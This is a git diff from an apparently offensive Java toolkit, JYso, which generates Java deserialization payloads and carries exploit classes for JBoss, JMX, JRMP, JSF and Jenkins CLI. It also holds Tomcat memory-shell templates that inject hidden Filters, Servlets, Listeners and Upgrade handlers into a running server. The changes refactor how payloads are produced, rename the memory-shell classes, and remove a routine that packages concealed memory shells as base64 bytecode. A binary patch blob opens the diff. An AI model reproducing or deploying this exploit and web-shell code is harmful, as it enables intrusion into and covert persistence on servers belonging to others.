z%nNiz&8i#4;LaIc?_J~>3^MbPsX8w7&mDZY`pZ6y1x+AD^`A)aBR4wcU0yy08TXLP z1~q711e9#)eK=D@OB=k1vU=}5B(;CSSU@2<)hHOEn^t#TTuAZ6VBiU~>(P)n3=(IY zEZdNdo3&^~TR4E<%}#WU4*$nQKtMmL))5FmFY42&;;OmaQol%Pb1olmA8CBP)t1JS z(ws3XXDn4vIxkfVPzfa4>RSfIk5q9zh{!vu0|forDs@Bjfn+jX%p_9NIR%gQ$P#?7 z24F1sEXsY_LL_-~yp{b;e&sRTY~{5Y0X~5G{o{s5p8H{xX@d5?+y&r{uu9Ji%KW6S zLJfL~058oHoB_~?l&40IBw#+{Fk;YW2AkZJa@P*we?~I< zdU@U!Kpc=lH>Kz#%Y-e%mRL#l$WX+ z36^Mrdv22DNF8>R@d25WM}6`3>TBT@o$Q5fy{ z{jO6@$EdwxV36D%Qz~p+I`1~V?f%!>8C`w4dK(;f2^(Vx}t^2D{6LjXWDm z?|p9;@%iz)%x9Dt#2`o^wmME{R^nn`4XM~Qf2?-y?^)CP<5!j0!)#ynUUV#AVgw6+?#uthku%E9i-+fb3H z$1T*5hhh7}gbmTL4@w8?`rf#HzG%S>e%ghAM1|OO!_EU@PAcu2SCz=LADKH57j=P5 zsoI5{j|vyr^GSYuB*9(SNYA~J_)P0bk7;rCsYFfw+%df#%+H12q{YAr<`ICQ(!oo1-DtQy-FFY6Qjf#FMCD~2SfS0#wg2;J_BYELE3!EX;y xLABbj0JcBZKy9l<61e;&AIiD|{k-)0sZ$FY;Q`&pb_98DC*PByj=PbW{0I8bleYi> diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index e6066d7aab28ff82f17ae4370bc64edd9ce937c4..de92ae0991a640dc082dffcbf871ecfb06e5dbc8 100644 GIT binary patch literal 17 UcmZSHt{HzOWk&8J1_;;*05#496951J literal 17 UcmZSHt{HzOWk&8J1_;Oj05yRG#sB~S diff --git a/.gradle/buildOutputCleanup/outputFiles.bin b/.gradle/buildOutputCleanup/outputFiles.bin index 0db19fb71dd24d53af1723f363ec002bc7386585..cfad9286b66738bfc1675df594d58c7a392e7042 100644 GIT binary patch delta 86 zcmZ2Jh4J(h#tkMCjIxtWC06n)?adWomf&Xq124$k- diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index f238e5b028b41019aefcf5f0e6d9103f7d8ae9d7..cd85119b5c0854a7df241399ffa2cce909f6795d 100644 GIT binary patch literal 8 PcmZQzV4U!HuF*jN31$NY literal 8 PcmZQzVC+AfKEW0M2zLUA diff --git a/build.gradle b/build.gradle index 5bc2d5d..57b5561 100644 --- a/build.gradle +++ b/build.gradle @@ -101,7 +101,7 @@ dependencies { } group = 'org.example' -version = '1.3.1' +version = '1.3.2' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java index 0cdc23c..f1c8c38 100644 --- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -142,7 +142,6 @@ public class ysoserial { // 储存生成的 payload PAYLOAD = object; - if (isFromExploit()) { return; } diff --git a/src/main/java/com/qi4l/jndi/exploit/JBoss.java b/src/main/java/com/qi4l/jndi/exploit/JBoss.java index 94a57ca..36e41e7 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JBoss.java +++ b/src/main/java/com/qi4l/jndi/exploit/JBoss.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.utils.Reflections; import org.jboss.remoting3.Connection; @@ -76,7 +76,7 @@ public class JBoss { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; String username = null; diff --git a/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java index 5730610..5dc313b 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java +++ b/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import javax.management.MBeanServerConnection; @@ -32,7 +32,7 @@ public class JMXInvokeMBean { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java index 54eb9a3..e270bea 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import sun.rmi.transport.TransportConstants; @@ -38,7 +38,7 @@ public class JRMPClient { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; try { diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java b/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java index 0122fd6..d5c19ea 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java @@ -1,6 +1,7 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; + import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.utils.Reflections; import javassist.ClassClassPath; @@ -70,7 +71,7 @@ public class JRMPListener implements Runnable { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); final Object payloadObject = ysoserial.PAYLOAD; try { diff --git a/src/main/java/com/qi4l/jndi/exploit/JSF.java b/src/main/java/com/qi4l/jndi/exploit/JSF.java index 41e6de7..e562c64 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JSF.java +++ b/src/main/java/com/qi4l/jndi/exploit/JSF.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import org.apache.commons.codec.binary.Base64; @@ -46,7 +46,7 @@ public class JSF { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; URLConnection c = u.openConnection(); diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java index 86b9a1f..a6cef94 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.utils.Reflections; import hudson.remoting.Callable; @@ -44,7 +44,7 @@ public class JenkinsCLI { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; Channel c = null; diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java index 40a6409..cb564ca 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.JRMPListener; import com.qi4l.jndi.gadgets.utils.Reflections; @@ -178,7 +178,7 @@ public class JenkinsListener { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; objOut.writeObject(payloadObject); diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java index 6de2f65..6fdac07 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.JRMPClient; import hudson.remoting.Channel; @@ -33,7 +33,7 @@ public class JenkinsReverse { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); final Object payloadObject = ysoserial.PAYLOAD; String myAddr = args[1]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java index 3bed699..f06a5bd 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -112,7 +112,7 @@ public class Config { // Listener 型内存马，通常使用 ServletRequestListener， 关键方法 requestInitializedHandle KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); // Websocket 型内存马，关键方法 onMessage - KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage"); + KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage"); // Tomcat Upgrade 型内存马，关键方法 accept KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); // Tomcat Executor 型内存马，关键方法 execute diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java index d4f70da..fb46aa0 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java @@ -2,7 +2,7 @@ package com.qi4l.jndi.gadgets.utils; import com.qi4l.jndi.gadgets.Config.Config; import com.qi4l.jndi.template.Agent.WinMenshell; -import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF; +import com.qi4l.jndi.template.memshellStatic.tomcat.TFMSFromJMX; import javassist.*; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; @@ -203,7 +203,7 @@ public class InjShell { //添加到类路径，防止出错 ClassPool pool; pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class)); + pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class)); // 根据传入的不同参数，在不同方法中插入不同的逻辑 CtMethod cm = ctClass.getDeclaredMethod(method); cm.setBody(payload); @@ -287,46 +287,6 @@ public class InjShell { } - public static String structureShellTom(Class payload) throws Exception { - Config.init(); - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(payload)); - CtClass ctClass = pool.get(payload.getName()); - InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type); - ctClass.setName(ClassNameUtils.generateClassName()); - if (Config.winAgent) { - TinsertWinAgent(ctClass); - return injectClass(WinMenshell.class); - } - if (Config.linAgent) { - TinsertLinAgent(ctClass); - return injectClass(WinMenshell.class); - } - if (Config.HIDE_MEMORY_SHELL) { - switch (Config.HIDE_MEMORY_SHELL_TYPE) { - case 1: - break; - case 2: - CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); - newClass.setName(ClassNameUtils.generateClassName()); - String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; - String className = "className=\"" + ctClass.getName() + "\";"; - newClass.defrost(); - newClass.makeClassInitializer().insertBefore(content); - newClass.makeClassInitializer().insertBefore(className); - - if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { - Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); - CtClass superClass = pool.get(abstTranslet.getName()); - newClass.setSuperclass(superClass); - } - - return injectClass(newClass.getClass()); - } - } - return injectClass(ctClass.getClass()); - } - //类加载方式，因类而异 public static String injectClass(Class clazz) { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java index c11b39f..35ff984 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java @@ -48,7 +48,7 @@ public class StringUtil { public static boolean isFromExploit() { StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); for (int i = 0; i < stackTraceElements.length; i++) { - if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.gadgets.exploit")) { + if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.exploit")) { return true; } } diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java index 5048d2e..db1599f 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java @@ -21,7 +21,7 @@ import java.util.Set; * * @author QI4L */ -public class TSMSFromJMXF implements Filter { +public class TFMSFromJMX implements Filter { public static String pattern; public static String NAME; @@ -68,7 +68,7 @@ public class TSMSFromJMXF implements Filter { Object filterDef = filterDefClass.newInstance(); filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME); - Filter filter = new TSMSFromJMXF(); + Filter filter = new TFMSFromJMX(); filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName()); filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java index fb187c1..ef73243 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java @@ -18,7 +18,7 @@ import java.util.List; * 遍历线程组，在 request 中查找带有特定 Header 的请求，并从 request 获取 ServletContext 添加 Filter 型内存马 * 添加成功后，会回显 Success 字样，参考 ShiroAttack2 */ -public class TFMSFromRequestF implements Filter { +public class TFMSFromRequest implements Filter { public static HttpServletRequest request = null; public static HttpServletResponse response = null; @@ -110,7 +110,7 @@ public class TFMSFromRequestF implements Filter { public static void addFilter() { ServletContext servletContext = request.getServletContext(); - Filter filter = new TFMSFromRequestF(); + Filter filter = new TFMSFromRequest(); String filterName = NAME; String url = pattern; if (servletContext.getFilterRegistration(filterName) == null) { diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java index 1c2a5f6..ce13f9c 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java @@ -18,7 +18,7 @@ import java.util.Map; * * @author QI4L */ -public class TFMSFromThreadF implements Filter { +public class TFMSFromThread implements Filter { public static String pattern; @@ -55,7 +55,7 @@ public class TFMSFromThreadF implements Filter { Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); - TFMSFromThreadF behinderFilter = new TFMSFromThreadF(); + TFMSFromThread behinderFilter = new TFMSFromThread(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java index b13ac19..76e9603 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java @@ -23,7 +23,7 @@ import java.util.Set; * * @author QI4L */ -public class TLMSFromJMXLi implements ServletRequestListener { +public class TLMSFromJMX implements ServletRequestListener { static { try { @@ -52,7 +52,7 @@ public class TLMSFromJMXLi implements ServletRequestListener { field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(obj); - TLMSFromJMXLi listener = new TLMSFromJMXLi(); + TLMSFromJMX listener = new TLMSFromJMX(); standardContext.addApplicationEventListener(listener); } } catch (Exception ignored) { diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java similarity index 94% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java index 9a4a389..693a0b3 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java @@ -15,7 +15,7 @@ import java.lang.reflect.Field; /** * 使用线程注入 Tomcat Listener 型内存马 */ -public class TFMSFromThreadLi implements ServletRequestListener { +public class TLMSFromThread implements ServletRequestListener { static { try { // 获取 standardContext @@ -35,7 +35,7 @@ public class TFMSFromThreadLi implements ServletRequestListener { standardContext = (StandardContext) field2.get(root); } - TFMSFromThreadLi listener = new TFMSFromThreadLi(); + TLMSFromThread listener = new TLMSFromThread(); standardContext.addApplicationEventListener(listener); } catch (Exception ignored) { } diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java index 9969b86..e4a9f5f 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java @@ -19,7 +19,7 @@ import java.util.Set; * * @author QI4L */ -public class TSMSFromJMXS implements Servlet { +public class TSMSFromJMX implements Servlet { public static String pattern; @@ -55,7 +55,7 @@ public class TSMSFromJMXS implements Servlet { Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(NAME); standardContext.addChild(wrapper); - Servlet servlet = new TSMSFromJMXS(); + Servlet servlet = new TSMSFromJMX(); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java index a6ed504..01a5c7b 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java @@ -21,7 +21,7 @@ import java.util.List; * 遍历线程组，在 request 中查找带有特定 Referer 的请求，并从 request 获取 ServletContext 添加 Servlet 型内存马 * 添加成功后，会回显 Success 字样，参考 ShiroAttack2 */ -public class TFMSFromRequestS implements Servlet { +public class TSMSFromRequest implements Servlet { public static HttpServletRequest request = null; public static HttpServletResponse response = null; @@ -124,7 +124,7 @@ public class TFMSFromRequestS implements Servlet { wrapper.setName(NAME); standardContext.addChild(wrapper); - Servlet servlet = new TFMSFromRequestS(); + Servlet servlet = new TSMSFromRequest(); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java similarity index 95% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java index c53aeb9..d923faa 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java @@ -13,7 +13,7 @@ import java.lang.reflect.Field; * * @author QI4L */ -public class TFMSFromThreadS implements Servlet { +public class TSMSFromThread implements Servlet { public static String pattern; @@ -43,7 +43,7 @@ public class TFMSFromThreadS implements Servlet { Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(NAME); standardContext.addChild(wrapper); - Servlet servlet = new TFMSFromThreadS(); + Servlet servlet = new TSMSFromThread(); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java index 22fd52d..9519ed4 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java @@ -20,7 +20,7 @@ import java.util.HashMap; /** * Tomcat Upgrade 内存马 */ -public class TUGMSFromJMXuP implements UpgradeProtocol { +public class TUGMSFromJMX implements UpgradeProtocol { public static String pattern; static { @@ -58,7 +58,7 @@ public class TUGMSFromJMXuP implements UpgradeProtocol { upgradeProtocolsField.setAccessible(true); HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler); - upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMXuP()); + upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMX()); upgradeProtocolsField.set(handler, upgradeProtocols); break; }